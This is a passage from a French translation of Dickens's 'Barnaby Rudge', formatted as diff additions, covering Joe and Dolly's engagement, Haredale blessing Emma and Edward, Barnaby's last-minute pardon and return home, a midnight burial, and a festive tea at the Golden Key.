+j'étais petite fille? n'est-ce pas que vous viendrez, cher Joe?»
+
+C'est bon! c'est bon! ne vous inquiétez pas de ce que Joe dit en
+réponse: il en dit bien long, à coup sûr. Et Dolly ne fut pas en
+reste. Et il pressa Dolly dans son bras, qui la serrait joliment,
+pour un bras seul. Et Dolly ne fit pas de résistance; et s'il y a
+jamais eu un couple heureux dans ce monde, qui avec tous ses
+défauts n'est pas encore si misérable, au bout du compte, vous
+pouvez dire, sans risque de vous tromper, que c'était celui-là.
+
+Dire que, durant ces évolutions, M. Willet senior éprouvait les
+plus grandes émotions de surprise dont la nature humaine soit
+susceptible; dire qu'il était dans une espèce de paralysie
+d'étonnement, et qu'il était enlevé dans les régions les plus
+ardues, les plus étourdissantes, les plus inaccessibles, d'une
+stupéfaction compliquée... ce serait faire en termes bien
+imparfaits une esquisse trop incomplète de l'état d'esprit où il
+se trouvait égaré. Si un _Roc_, un aigle, un griffon, un éléphant
+volant, un cheval marin avec ses grandes ailes, lui eût apparu
+subitement, qu'il l'eût pris sur son dos, et l'eût emporté
+corporellement au coeur même de la _Savaigne_, ce n'aurait été
+pour lui qu'un événement vulgaire et journalier, en comparaison de
+ce qu'il voyait de ses yeux. Quoi! être là sur sa chaise tout
+tranquillement, à regarder et à entendre tout ça! se voir
+complètement négligé, oublié, laissé de côté, pendant que son fils
+et une demoiselle causaient ensemble d'une manière si passionnée,
+s'embrassaient l'un l'autre, et ne se gênaient pas plus que s'ils
+étaient chez eux! c'était vraiment une position si monstrueuse, si
+inexplicable, qui passait si bien ses plus vastes facultés de
+compréhension, qu'il en tomba dans une léthargie d'ébahissement
+dont il ne pouvait pas plus se réveiller qu'un dormeur enchanté
+dans la première année de son bail emphytéotique avec les fées.
+
+«Père, dit Joe en lui présentant Dolly, vous voyez de quoi il
+s'agit?»
+
+M. Willet regarda d'abord la jeune fille, puis son fils, puis
+encore Dolly, et alors il fit un effort inutile pour tirer une
+bouffée de sa pipe, qui était éteinte depuis longtemps.
+
+«Dites seulement un mot, quand ce ne serait que... comment vous
+portez-vous? insista Joe.
+
+-- Certainement, Joseph, répondit M. Willet, oui, sans doute.
+Pourquoi pas?
+
+-- Vous avez raison, dit Joe. Pourquoi pas?
+
+-- Oh! répliqua le père, pourquoi pas?»
+
+Et en faisant cette réflexion à voix basse, comme s'il discutait
+en lui-même quelque grave question, il se servit de son petit
+doigt... si toutefois il en avait un sur les dix qui méritât cette
+qualification; il se servit du petit doigt de sa main droite comme
+d'un bourre-pipe, et retomba dans son silence.
+
+Et il resta là assis au moins une demi-heure, quoique Dolly, du
+ton le plus caressant, lui exprimât plus d'une douzaine de fois
+l'espérance qu'il n'était pas fâché contre elle. Il resta là assis
+une demi-heure, comme pétrifié, sans remuer, ni plus ni moins
+qu'une grosse quille. À l'expiration de cette période, tout à
+coup, et sans la moindre préparation, il poussa, au grand
+saisissement des deux jeunes gens, un éclat de rire bruyant et
+court, en répétant:
+
+«Certainement, Joseph. Oui, sans doute. Pourquoi pas?»
+
+Et il sortit pour faire un petit tour.
+
+
+
+
+CHAPITRE XXXVII.
+
+
+Ce n'est pas du côté de la _Clef d'or_ que le vieux John alla
+faire son petit tour de promenade: car entre la _Clef d'or_ et le
+_Lion Noir_ il y a tout un voyage de rues à la file, comme le
+savent bien ceux qui connaissent les distances respectives de
+Clerkenwell et de White-Chapel, et M. Willet était connu pour
+n'être pas un fameux piéton. Mais la _Clef d'or_ se trouve sur
+notre chemin, si elle n'était pas sur le sien; ce chapitre va donc
+nous suivre, s'il vous plaît, à la _Clef d'or_.
+
+La _Clef d'or_ en personne, cet emblème naturel de l'état de
+serrurier, avait été jetée à bas par les émeutiers, et foulée
+injurieusement sous leurs pieds. Mais, en ce moment, on l'avait
+remontée à sa place, dans toute la gloire d'une nouvelle couche de
+peinture, et jamais elle n'avait eu si bonne mine.
+
+Elle n'était pas la seule. Toute la façade de la maison était
+élégante et coquette: on l'avait si bien rafraîchie du haut en
+bas, que, s'il restait encore quelques-uns des perturbateurs, qui
+étaient venus l'attaquer, la vue de ce bon vieux logis, rajeuni et
+prospère, devait être pour eux un ver rongeur, un vrai crève-
+coeur.
+
+Cependant les volets de la boutique étaient clos; les jalousies du
+premier étage étaient toutes abaissées, et, au lieu de la gaieté
+qui régnait d'ordinaire dans la maison, on lui voyait un extérieur
+triste et comme un air de deuil, que les voisins, accoutumés à
+voir autrefois entrer et sortir le pauvre Barnabé, n'avaient pas
+de peine à comprendre. La porte était entre-bâillée, mais on
+n'entendait pas le marteau sur l'enclume; le chat était ronflant
+accroupi sur les cendres de la forge: tout était désert, sombre et
+silencieux.
+
+M. Haredale et Édouard Chester se rencontrèrent sur le seuil de la
+porte. Le jeune homme céda le pas à l'autre, et, après être entrés
+tous les deux d'un air de familiarité qui semblait indiquer qu'ils
+attendaient là quelque chose, et qu'on était accoutumé à les
+laisser entrer et sortir sans les questionner, ils fermèrent la
+porte derrière eux.
+
+Ils entrèrent dans l'ancien parloir, montèrent l'escalier à pic,
+façonné à l'ancienne mode, et tournèrent à droite dans la belle
+salle, l'orgueil et la gloire de Mme Varden, autrefois le théâtre
+des labeurs domestiques de Miggs.
+
+«D'après ce que m'a appris Varden, dit M. Haredale, il a amené la
+mère ici hier au soir.
+
+-- Oui, répondit Édouard; elle est à présent au second, dans la
+chambre au-dessus. On dit que sa douleur passe toute croyance. Je
+n'ai pas besoin de vous dire, vous le savez d'avance, que le soin,
+l'humanité, la sympathie de ces braves gens, sont sans limites.
+
+-- Je m'en doute. Que le ciel les récompense de cet acte de bonté
+et de bien d'autres! Varden n'est pas ici?
+
+-- Il est retourné avec votre messager, qui l'a trouvé au moment
+où il revenait chez lui. Il a été dehors toute la nuit... mais
+cela, vous le savez bien, puisqu'il en a passé la plus grande
+partie avec vous.
+
+-- C'est vrai. Si je ne l'avais pas eu, c'est comme s'il m'eût
+manqué mon bras droit: il a beau être plus âgé que moi, rien ne
+l'arrête.
+
+-- C'est bien le coeur le plus ferme et en ce moment l'homme le
+plus gai de la terre.
+
+-- Il en a bien le droit. Il en a bien le droit. Il n'y a jamais
+eu de meilleure créature au monde. Il ne fait que récolter ce
+qu'il a semé... Ce n'est que trop juste.
+
+-- Tout le monde, dit Édouard après un moment d'hésitation, n'a
+pas le bonheur de pouvoir en dire autant.
+
+-- Il y en a plus que vous ne croyez, reprit M. Haredale;
+seulement nous, nous faisons plus d'attention au temps de la
+moisson qu'à celui des semailles; voilà aussi pourquoi vous vous
+trompez en ce qui me concerne.»
+
+Le fait est que son visage pâle, ses yeux hagards et son extérieur
+sombre, avaient eu tant d'influence sur la réflexion qu'Édouard
+avait faite, que celui-ci, pour le moment, ne sut que répondre.
+
+«Bah! bah! dit M. Haredale, votre allusion n'était pas difficile à
+deviner. Mais, c'est égal, vous vous êtes trompé. J'ai eu ma part
+de chagrins, plus que ma part, peut-être; mais je n'ai pas su la
+supporter comme il fallait. J'ai rompu, quand j'aurais dû plier.
+J'ai perdu dans la rêverie et la solitude le temps que j'aurais dû
+employer à mêler mon existence à celles de toutes les créatures du
+bon Dieu. Les hommes qui apprennent la patience, sont ceux qui
+donnent à tous leurs semblables le nom de frère. Mais moi, j'ai
+tourné le dos au monde, et j'en subis la peine.» Édouard allait
+protester, mais M. Haredale ne lui en laissa pas le temps.
+
+«Il est trop tard, continua-t-il, pour en éviter maintenant les
+conséquences. Je me dis quelquefois que, si j'avais à recommencer
+ma vie, je pourrais réparer cette faute... non pas tant
+précisément, il me semble, en y réfléchissant, par amour pour ce
+qui est bien, que dans mon propre intérêt. Je recule par instinct
+devant l'idée de souffrir une seconde fois tout ce que j'ai
+souffert, et c'est dans cette circonstance que je puise la triste
+assurance que je serais encore le même, quand je pourrais effacer
+le passé, et recommencer à nouveau en prenant pour guide
+l'expérience que j'ai déjà faite.
+
+-- Non, non; vous ne vous rendez pas justice, dit Édouard.
+
+-- Vous croyez cela, répondit M. Haredale, et j'en suis bien aise.
+Mais je me connais mieux que personne, et c'est ce qui fait que je
+n'ai pas en moi tant de confiance. Passons à un autre sujet de
+conversation... qui, d'ailleurs, n'est pas aussi éloigné du
+premier qu'on pourrait le croire au premier abord. Monsieur, vous
+aimez toujours ma nièce, et elle vous est toujours attachée.
+
+-- J'en tiens l'assurance de sa bouche même, dit Édouard, et vous
+savez... je suis sûr que vous n'en doutez pas... que je
+n'échangerais pas cet aveu contre toute autre bénédiction que le
+ciel voudrait m'octroyer.
+
+-- Vous êtes un jeune homme franc, honorable et désintéressé, dit
+M. Haredale. Vous en avez porté la conviction jusque dans mon
+esprit malade, et je vous crois. Attendez ici mon retour.»
+
+En même temps il quitta la chambre, et revint l'instant d'après
+avec Mlle Haredale.
+
+«La première et seule fois, dit-il, en les regardant tour à tour,
+que nous nous sommes trouvés ensemble tous les trois sous le toit
+du père de ma nièce, je vous ai enjoint, Édouard, de le quitter,
+et je vous ai défendu d'y revenir jamais.
+
+-- C'est le seul détail de l'histoire de notre amour que j'aie
+oublié, reprit Édouard.
+
+-- Vous portez un nom, dit M. Haredale, que je n'ai que trop de
+raisons de me rappeler. J'étais poussé, excité par des souvenirs
+de torts et d'injures qui m'étaient personnels, je le sais et le
+confesse; mais, même en ce moment, je me calomnierais si je vous
+disais qu'alors ou jamais j'aie cessé de faire au fond du coeur
+les voeux les plus ardents pour son bonheur, ou que j'aie agi en
+cela (je reconnais du reste mon erreur) par une autre impulsion
+que le désir pur, unique, sincère, de remplacer près d'elle,
+autant que je le pouvais du moins, le père qu'elle avait perdu.
+
+-- Cher oncle, dit Emma en pleurant, je n'ai jamais connu d'autre
+père que vous. Ma mère et mon père ne m'ont laissé à chérir que
+leur mémoire; mais vous, j'ai pu vous aimer toute ma vie. Jamais
+père n'a été plus tendre pour son enfant que vous ne l'avez été
+pour moi, depuis le premier moment que je puis me rappeler
+jusqu'au dernier.
+
+-- Vous me parlez avec trop de tendresse, répondit-il, et pourtant
+je n'ai pas le courage de souhaiter que vous me jugiez moins
+favorablement: j'ai trop de plaisir à entendre ces mots de votre
+bouche, comme j'en aurai toujours à me les rappeler quand nous
+serons séparés; ce sera le bonheur de ma vie. Encore un peu de
+patience, je vous prie, Édouard; elle et moi nous avons passé bien
+des années ensemble; et, quoique je sache bien qu'en la remettant
+entre vos mains je mets le sceau à son bonheur futur, je sens
+qu'il me faut un effort pour m'y résigner.»
+
+Il la pressa tendrement contre son sein et, après une minute de
+silence, il reprit:
+
+«J'ai eu tort avec vous, monsieur, et je vous en demande pardon...
+ce n'est pas ici une formule banale, ni un regret affecté: c'est
+l'expression vraie et sincère de ma pensée. Avec la même
+franchise, je vous avouerai à tous deux qu'il a été un temps où je
+me suis rendu complice par connivence d'une trahison dont le but
+était de vous séparer à jamais... car, si je n'y ai point trempé
+moi-même, j'ai du moins laissé faire: je m'en confesse coupable.
+
+-- Vous vous jugez trop sévèrement, dit Édouard. Laissons cela de
+côté.
+
+-- Non, cette trahison se dresse pour ma condamnation; je regarde
+en arrière, et ce n'est pas aujourd'hui la première fois,
+répondit-il. Je ne peux pas me séparer de vous sans obtenir mon
+pardon plein et entier. Car je n'ai plus guère de temps à passer
+dans la vie commune du monde, et j'ai déjà bien assez de regrets à
+emporter dans la solitude à laquelle désormais je me voue, sans en
+grossir le nombre.
+
+-- Vous n'emporterez de nous deux, dit-elle, que des bénédictions.
+Ne mêlez jamais le souvenir de votre Emma... qui vous doit tant
+d'amour et de respect... avec aucun autre sentiment que celui
+d'une affection et d'une reconnaissance éternelles pour le passé,
+et les voeux les plus ardents pour votre félicité à venir.
+
+-- L'avenir, reprit son oncle avec un sourire mélancolique, est un
+mot plein de bonheur pour vous, et son image doit vous apparaître
+entourée d'une guirlande de joyeuses espérances. Mais, pour moi,
+c'est autre chose: puisse-t-il être seulement un temps de paix,
+exempt de soucis et de haine! Quand vous quitterez l'Angleterre,
+je la quitterai comme vous. Il y a sur le continent des cloîtres,
+mon seul asile, maintenant que les deux grands voeux de ma vie
+sont satisfaits. Cela vous fait de la peine, parce que vous
+oubliez que je deviens vieux, et que me voilà bientôt au bout de
+ma carrière. Allons! nous en reparlerons... plutôt deux fois
+qu'une, et je vous demanderai, Emma, vos bons conseils.
+
+-- Pour les suivre? lui dit sa nièce.
+
+-- Au moins les écouterai-je, répondit-il en l'embrassant, et je
+vous promets que je les prendrai en considération. Voyons! n'ai-je
+pas encore quelque chose à vous dire? Vous vous êtes vus beaucoup
+depuis quelque temps. Il vaut mieux il est plus convenable que je
+laisse de côté les circonstances du passé qui avaient causé votre
+séparation et semé entre nous le soupçon et la défiance.
+
+-- Oui, oui, cela vaut beaucoup mieux, répéta tout bas Emma.
+
+-- J'avoue la part que j'y ai prise à cette époque, dit
+M. Haredale, tout en me le reprochant. Cela prouve qu'on ne doit
+jamais s'écarter, si peu que ce soit, du bon chemin, du chemin de
+l'honneur, sous le prétexte spécieux que la fin justifie les
+moyens. Quand la fin qu'on se propose est bonne, il faut l'obtenir
+par de bons moyens. Ceux qui font autrement sont des méchants, et
+il n'y a rien de mieux à faire que de les regarder comme tels et
+de ne point se faire leur complice.»
+
+Il détourna ses yeux de sa nièce pour les reporter sur Édouard, et
+lui dit d'un ton plus doux:
+
+«Vous avez maintenant presque autant de fortune l'un que l'autre.
+J'ai été pour elle un intendant fidèle, et à ce qui lui reste des
+biens autrefois plus considérables de son père, je désire ajouter,
+comme gage de mon affection, une pauvre pitance qui ne vaut pas la
+peine d'en parler, et dont je n'ai plus besoin. Je suis bien aise
+que vous alliez voyager à l'étranger. Que notre maison maudite
+reste en ruines! Quand vous reviendrez après quelques années
+prospères, vous en ferez bâtir une meilleure, et, j'espère, plus
+fortunée. Voulez-vous faire la paix?»
+
+Édouard prit la main que lui tendait Haredale, et la serra
+cordialement.
+
+«Vous ne mettez ni retard ni froideur dans votre réponse, dit
+M. Haredale, en lui rendant une poignée de main aussi chaleureuse,
+et maintenant, que je vous connais, je me dis, quand je vous
+regarde, que vous êtes bien l'homme que j'aurais voulu lui choisir
+pour époux. Son père était d'un caractère généreux, et vous lui
+auriez convenu tout à fait. Je vous la donne en son nom, et je
+vous bénis pour lui. Si le monde et moi, nous nous séparons là-
+dessus, nous nous serons séparés en meilleurs termes que nous
+n'avons vécu ensemble depuis longtemps.»
+
+Il la mit dans les bras de son mari, et il allait quitter la
+chambre, quand il fut arrêté dans sa marche, sur le pas de la
+porte, par un grand bruit dans le lointain, qui les fit
+tressaillir en silence.
+
+C'était un tumulte éclatant, mêlé d'acclamations frénétiques qui
+déchiraient l'air. Les clameurs approchaient de plus en plus à
+chaque moment, avec tant de rapidité que, rien que le temps d'y
+prêter l'oreille, elles éclatèrent en une confusion de sons
+assourdissants au coin de la rue.
+
+«Il faut mettre ordre à ça... il faut apaiser ce tapage, dit
+M. Haredale avec vivacité. Nous aurions dû y penser et l'empêcher.
+Je vais les trouver à l'instant.»
+
+Mais, avant qu'il pût atteindre la porte de la rue, avant
+qu'Édouard eût eu seulement le temps de prendre son chapeau pour
+le suivre, ils furent encore arrêtés par un cri perçant, qui,
+cette fois, partait du haut de l'escalier. En même temps la femme
+du serrurier se précipita dans la chambre, et courant tout
+bonnement se jeter dans les bras de M. Haredale, elle s'écria:
+
+«Elle sait tout, cher monsieur... elle sait tout. Nous lui en
+avons dit quelques mots petit à petit, et maintenant elle est
+toute préparée.»
+
+Après cette communication, accompagnée des actions de grâces les
+plus ferventes pour remercier Dieu de ce nouveau bienfait, la
+bonne dame, fidèle à l'usage classique des matrones dans toutes
+les occasions d'une émotion vive, se pâma tout de suite.
+
+Ils coururent à la fenêtre, levèrent le châssis, et regardèrent
+dans la rue encombrée par la foule. Au milieu d'une immense
+multitude parmi laquelle il n'y avait pas une personne qui restât
+un moment en repos, on voyait en plein la bonne grosse et
+rougeaude figure du serrurier, culbuté à droite, à gauche, comme
+s'il luttait contre une mer agitée. Tantôt il était emporté vingt
+pas en arrière, tantôt poussé en avant presque jusqu'à la porte;
+puis emporté par un nouveau flot, puis pressé contre le mur d'en
+face, puis contre les maisons attenantes à la sienne, puis soulevé
+jusque sur un perron où les bras d'une cinquantaine de gens le
+poursuivaient de leurs saluts, pendant que tous les autres, dans
+le plus grand tumulte, s'égosillaient à l'applaudir de toutes
+leurs forces. Quoique véritablement il fût en danger de se voir
+mettre en morceaux par l'enthousiasme général, le serrurier, aussi
+rassuré que jamais, répondait à leurs acclamations par les
+siennes, jusqu'à s'en faire mal à la gorge, et, dans un élan de
+joie et de bonne humeur, il agitait son chapeau avec tant
+d'ardeur, que le jour avait fini par y passer entre le bord et la
+forme.
+
+Mais au milieu de tout cela, ballotté de main en main, avançant un
+pas, reculant deux, poussé, bousculé comme il était, il n'en
+reparaissait que plus jovial et plus radieux après chaque assaut.
+La paix de son âme n'en était pas plus affectée que s'il avait
+volé comme une plume sur la surface de l'eau et il n'en tenait pas
+moins ferme, sans le lâcher seulement une fois, un bras serré
+contre le sien; c'était celui d'un ami vers lequel il se tournait
+de temps en temps pour lui frapper sur l'épaule, ou bien pour lui
+glisser un mot d'encouragement solide, ou bien pour l'égayer par
+un sourire; mais avant tout, son soin constant était de le
+défendre contre l'empressement indiscret de la foule, et de lui
+ouvrir un passage pour le faire entrer à la _Clef d'or_. Passif et
+timide, effarouché, pâle, étonné, regardant la foule comme s'il
+venait de ressusciter des morts, et qu'il se considérât lui-même
+comme un revenant au milieu des vivants, Barnabé... non pas
+Barnabé en esprit, mais bel et bien Barnabé en chair et en os,
+avec un pouls naturel, des nerfs, des muscles, un coeur qui
+battait bien fort, et des émotions violentes... se pendait au bras
+de son vieil ami, le robuste serrurier, se laissant conduire par
+lui comme un enfant.
+
+C'est ainsi qu'à la fin des fins ils atteignirent la porte, que
+des mains complaisantes tenaient toute prête en dedans pour les
+recevoir. Alors, se glissant par l'ouverture, et repoussant de
+vive force la foule de ses pétulants admirateurs, Gabriel ferma la
+porte derrière lui, et se trouva entre M. Haredale et Édouard
+Chester, pendant que Barnabé ne faisait qu'un bond au haut de
+l'escalier et tombait à genoux au pied du lit de sa mère.
+
+«Bénie soit la fin de la plus heureuse et de la plus rude besogne
+que nous ayons faite de notre vie! dit à M. Haredale le serrurier
+haletant. Les mâtins! avons-nous eu du mal à nous en débarrasser!
+En vérité, j'ai vu le moment où, avec toutes leurs belles amitiés,
+nous allions y rester.»
+
+Ils avaient employé toute la journée précédente à tâcher
+d'arracher Barnabé à son triste destin. Trompés dans leurs
+tentatives auprès des premières autorités auxquelles ils s'étaient
+adressés, ils les renouvelèrent d'un autre côté. Encore repoussés
+par là, ils recommencèrent sur nouveaux frais au milieu de la
+nuit, et finirent par parvenir, non seulement jusqu'au juge et au
+jury qui l'avaient condamné, mais jusqu'à des personnages
+influents à la cour, jusqu'au jeune prince de Galles, et jusqu'à
+l'antichambre du roi lui-même, ayant enfin réussi à éveiller
+quelque intérêt en sa faveur, et à donner l'envie d'examiner son
+cas avec moins de passion, ils avaient eu une entrevue avec le
+ministre, dans son lit, à huit heures du matin. Le résultat d'une
+enquête minutieuse, due à leurs démarches, et secondée par les
+attestations en faveur d'un pauvre garçon qu'ils connaissaient
+depuis son enfance, fut qu'entre onze heures et midi le pardon
+absolu da Barnabé Rudge fut apprêté, signé, et confié à un
+cavalier pour le porter en toute hâte au lieu de l'exécution. Le
+messager de grâce arriva sur les lieux juste au moment où on
+voyait déjà paraître la fatale charrette; et, pendant qu'elle
+remportait Barnabé à la prison, M. Haredale, après s'être assuré
+que tout était fini, était revenu tout droit de Bloomsbury-Square
+à la _Clef d'or_, laissant à Gabriel l'agréable tâche de le
+ramener chez lui en triomphe.
+
+«Je n'ai pas besoin de vous dire, fit observer là-dessus le
+serrurier après avoir donné des poignées de main à tous les hommes
+de la maison, et serré dans ses bras toutes les femmes plus de
+quarante-cinq fois, qu'excepté entre nous, en famille, ce n'est
+pas moi qui ai voulu en faire un triomphe; mais nous n'avons pas
+été plus tôt dans la rue qu'on nous a reconnus, et alors a
+commencé le vacarme. Si on me donnait le choix entre les deux,
+ajouta-t-il en essuyant sa figure toute cramoisie, et après avoir
+éprouvé l'un et l'autre, je crois que j'aimerais encore mieux me
+voir enlevé de ma maison par une bande d'ennemis qu'escorté à la
+maison par une émeute d'amis.»
+
+Mais on voyait bien que c'était seulement de la part de Gabriel
+une façon de parler, et qu'au contraire l'affaire, d'un bout à
+l'autre, lui causait un plaisir extrême; car le peuple continuant
+son tapage au dehors, et redoublant ses acclamations comme s'il
+venait de prendre des gosiers de rechange, capables de durer au
+moins une quinzaine, il envoya chercher Grip au second étage; Grip
+était revenu sur le dos de son maître et avait reconnu les faveurs
+de la multitude en tirant du sang de chaque doigt qui s'aventurait
+à la portée de son bec. Alors, prenant l'oiseau sur son bras, il
+se présenta lui-même à la fenêtre du premier et agita encore son
+chapeau, si bien que cette fois il ne tenait plus qu'à un fil
+entre les quatre doigts et le pouce. Cette démonstration ayant été
+accueillie par des vivats mérités, et le silence s'étant un peu
+rétabli, il les remercia de leur sympathie, et, prenant la liberté
+de les informer qu'il y avait quelqu'un de malade dans la maison,
+il leur proposa trois hourras en faveur du roi Georges, trois
+autres en faveur de la vieille Angleterre, puis trois autres en
+faveur de n'importe qui, pour la clôture. La foule y consentit, en
+substituant seulement le nom de Gabriel Varden dans le hourra de
+n'importe qui, et en lui en donnant un de plus, pour faire la
+bonne mesure; puis elle se dispersa pleine de bonne humeur. Ainsi
+finit la cérémonie.
+
+Toutes les félicitations échangées parmi les habitants de la _Clef
+d'or_, quand on les eut laissés tranquilles; le débordement de
+joie et de bonheur qu'ils ressentaient; la difficulté où Barnabé
+en personne se trouvait de l'exprimer autrement qu'en allant comme
+un fou de l'un à l'autre, jusqu'à ce qu'enfin, ayant recouvré plus
+de calme, il vint s'étendre par terre auprès de la couche de sa
+mère, et y tomba dans un profond sommeil; tout cela n'a pas besoin
+de se dire; heureusement, car ce ne serait pas facile à décrire,
+si c'était nécessaire à notre récit.
+
+Avant de quitter cette scène charmante, nous ferons bien de jeter
+un coup d'oeil sur un tableau plus sombre et d'un genre tout
+différent, qui, cette nuit-là même, avait eu un petit nombre de
+spectateurs.
+
+C'était dans un cimetière, à l'heure de minuit; il n'y avait
+d'autres assistants qu'Édouard Chester, un ministre, un fossoyeur,
+et les quatre porteurs d'une bière grossière. Ils se tenaient tous
+debout autour d'une fosse nouvellement creusée, et l'un des
+porteurs tenait à la main une lanterne sourde, la seule lumière
+qui éclairât ces lieux funèbres, pour répandre sa faible lueur sur
+le livre d'offices. Il la plaça un moment sur le cercueil, avant
+de la descendre avec l'aide de ses compagnons. Le couvercle de la
+bière ne portait aucune inscription.
+
+La terre humide retomba avec un bruit solennel sur la dernière
+demeure de cet homme sans nom; et le bruit du gravier laissa un
+triste écho même dans l'oreille endurcie de ceux qui l'avaient
+porté à son dernier asile. La fosse fut remplie jusqu'au haut,
+puis aplanie en piétinant dessus, et ils s'en allèrent tous
+ensemble.
+
+-- Vous ne l'avez jamais vu de son vivant? demanda le ministre à
+Édouard.
+
+-- Pardon, souvent, mais il y a bien des années, et je ne ne
+doutais pas que ce fût mon frère.
+
+-- Jamais depuis?
+
+-- Jamais. J'ai voulu le voir hier, mais il s'y est refusé
+obstinément, malgré les instances répétées que j'ai fait faire
+auprès de lui.
+
+-- Et il a refusé de vous voir? Il fallait que ce fût un coeur
+endurci et dénaturé.
+
+-- Croyez-vous?
+
+-- Vous avez l'air de n'être pas de mon avis?
+
+-- En effet. Nous entendons tous les jours le monde s'étonner de
+voir ce qu'il appelle des monstres d'ingratitude. Ne dirait-on pas
+qu'il s'attendait plutôt à voir partout des monstres d'affection,
+comme si c'était la chose la plus naturelle?»
+
+Cependant ils étaient arrivés à la porte de la grille. Là ils se
+souhaitèrent bonne nuit, et s'en retournèrent chacun chez soi.
+
+
+
+
+CHAPITRE XXXVIII.
+
+
+Cette après-midi, après avoir fait un somme pour se reposer de ses
+fatigues; après s'être rasé, habillé, rafraîchi des pieds à la
+tête; après avoir dîné et s'être régalé d'une pipe, d'un petit
+extra de Toby, d'une sieste dans le grand fauteuil, et d'une
+causerie familière avec Mme Varden sur tout ce qui venait de se
+passer, sur tout ce qui se passait, sur tout ce qui allait se
+passer, dans la sphère de leurs intérêts domestiques, le serrurier
+s'assit à la table de thé dans le petit parloir de derrière,
+l'homme le plus vermeil, le plus à son aise, le plus gai, le plus
+cordial, le plus satisfait de tous les bons vieux gaillards
+d'Angleterre, d'Irlande et d'Écosse.
+
+Il était là assis, avec son oeil rayonnant fixé sur Mme Varden; sa
+figure respirait la joie, et son vaste gilet semblait sourire dans
+chaque pli: je vous assure que son humeur joviale lui perçait par
+tous les pores et lui montait sous la table tout le long de ses
+gros mollets: c'était un spectacle à faire tourner en douce crème
+de bienveillante satisfaction jusqu'au vinaigre même de la
+misanthropie. Il était là assis, à suivre des yeux sa femme qui
+décorait la salle de fleurs pour faire plus d'honneur à Dolly et à
+Joseph Willet, qui étaient allés se promener ensemble et que la
+bouilloire appelait depuis plus de vingt minutes de son chant le
+plus engageant, auprès du feu, en gazouillant comme jamais
+bouilloire n'a gazouillé. On avait aussi pour eux déployé sur la
+table, dans toute sa gloire, le beau service de porcelaine, mais
+de vraie porcelaine de Chine, avec des mandarins joufflus qui
+tenaient de larges parapluies. On avait encore, pour tenter
+l'appétit du jeune couple, mis en évidence un jambon clair,
+transparent, juteux, garni de feuilles de laitue verte toute
+fraîche et de concombre odorant, le tout posé sur une table
+dressée dans le demi-jour, et couverte d'une nappe blanche comme
+de la neige. C'était pour satisfaire leur friandise qu'on avait
+répandu avec tant de profusion des confitures, des marmelades, des
+gâteaux frisés et d'autres menues pâtisseries, dont on ne fait
+qu'une bouchée, avec des petits pains nattés, du pain de ménage,
+des flûtes de pain bis ou blanc: c'étaient eux dont la jeunesse
+rajeunissait aussi Mme Varden, qui se tenait là toute droite, avec
+sa robe à fleurs ponceau sur un fond blanc; bien tirée à quatre
+épingles, bien cambrée dans son corset, les lèvres aussi
+vermeilles que les joues, la cheville bien prise, toute riante et
+de belle humeur, enfin, à tous égards, délicieuse à voir... Il
+était là assis, le serrurier, au milieu de tous ces délices et de
+bien d'autres, comme le soleil qui leur communiquait leur éclat;
+le centre du système, entouré de ses satellites; la source de la
+lumière, de la chaleur, de la vie, de la joie vive et franche qui
+égayaient toute la maison.
+
+Et Dolly donc! ce n'était plus du tout la Dolly que vous
+connaissez. Il fallait la voir entrer, bras dessus bras dessous
+avec Joe; il fallait voir comme elle se donnait du mal pour ne pas
+en avoir l'air honteuse du tout, du tout; comme elle faisait
+semblant de ne pas tenir le moins du monde à s'asseoir à côté de
+lui à table; comme elle câlinait le serrurier en lui disant deux
+mots à l'oreille, pour lui demander trêve de plaisanteries; comme
+ses couleurs allaient et venaient dans une petite agitation de
+plaisir continuelle, qui lui faisait faire tout de travers, et
+cela d'une manière si charmante que tout n'en allait que mieux...
+vraiment! je ne suis pas étonné que le serrurier dît à sa femme,
+quand ils se retirèrent pour aller se coucher, qu'il serait resté
+là vingt-quatre heures de suite à regarder la chose sans se
+lasser.
+
+Et les souvenirs encore, dont ils se régalèrent tout le long du
+thé, jusque bien avant dans la soirée! L'air jovial dont le
+serrurier demandait à Joe s'il se rappelait cette nuit d'orage au
+Maypole, où il commença à courir à la recherche de Dolly!... Les
+éclats de rire de toute la compagnie, à propos de la nuit où elle
+était allée en soirée dans la chaise à porteur!... La malice avec
+laquelle ils raillaient sans pitié Mme Varden d'avoir mis là, à
+cette même fenêtre, les fameuses fleurs à la belle étoile!... La
+peine que Mme Varden eut d'abord à prendre part au rire général
+qu'on se permettait à ses dépens, et l'éclatante revanche qu'elle
+prit par sa belle humeur... Les déclarations confidentielles de
+Joe sur le jour précis, l'heure exacte où il s'était aperçu pour
+la première lois qu'il raffolait de Dolly, et les aveux que Dolly
+fit en rougissant, moitié de son propre gré, moitié malgré elle,
+sur le moment où elle avait découvert qu'elle ne voyait pas Joe de
+mauvais oeil... Quel fonds inépuisable de conversation animée!
+
+Et puis, il y avait tant à dire de la part de Mme Varden sur ses
+doutes, sur ses alarmes maternelles, sur ses soupçons prudents!
+car il paraît, au dire de Mme Varden, que rien n'avait jamais
+échappé à sa pénétration et à son extrême sagacité. Comme si elle
+ne s'était pas tenue au courant tout du long! Comme si elle
+n'avait pas vu ça du premier coup! Comme si elle ne l'avait pas
+toujours prédit! Comme si elle n'avait pas été la première à s'en
+apercevoir, même avant les amoureux! Elle ne s'était peut-être pas
+dit en elle-même, car elle se rappelait ses propres expressions:
+«Le jeune Willet observe trop notre Dolly pour que je ne l'observe
+pas lui-même?» Oh! que si! elle l'avait joliment observé, et elle
+avait remarqué une foule de petites circonstances (qu'elle
+énumérait l'une après l'autre) si excessivement minutieuses, que
+personne, excepté elle, n'en pouvait tirer aucune induction, même
+maintenant. En un mot, il paraît que, depuis le commencement
+jusqu'à la fin, elle avait montré une habileté infinie, auprès de
+laquelle la tactique du général le plus consommé n'était que de la
+Saint-Jean.
+
+Naturellement, la nuit où Joe avait monté à cheval pour
+accompagner leur retour à côté de la carriole, et où Mme Varden
+avait insisté pour qu'il retournât chez lui, ne fut pas non plus
+passée sous silence... pas plus que le soir où Dolly s'était
+trouvée mal en entendant prononcer le nom du jeune homme... pas
+plus que les mille et mille fois où Mme Varden, toujours un modèle
+de prudence et de vigilance, l'avait trouvée toute triste et toute
+rêveuse dans sa chambre. Bref, on n'oublia rien, et toujours,
+d'une manière ou d'une autre, on en revint à cette conclusion, que
+l'heure d'à présent était l'heure la plus heureuse de leur vie;
+que, par conséquent, tout s'était passé pour le mieux, et qu'on ne
+pouvait rien imaginer qui eût pu ajouter à leur bonheur.
+
+Pendant qu'ils étaient dans le feu de la conversation, ne voilà-t-
+il pas un coup saisissant qui se fait entendre dans la rue à la
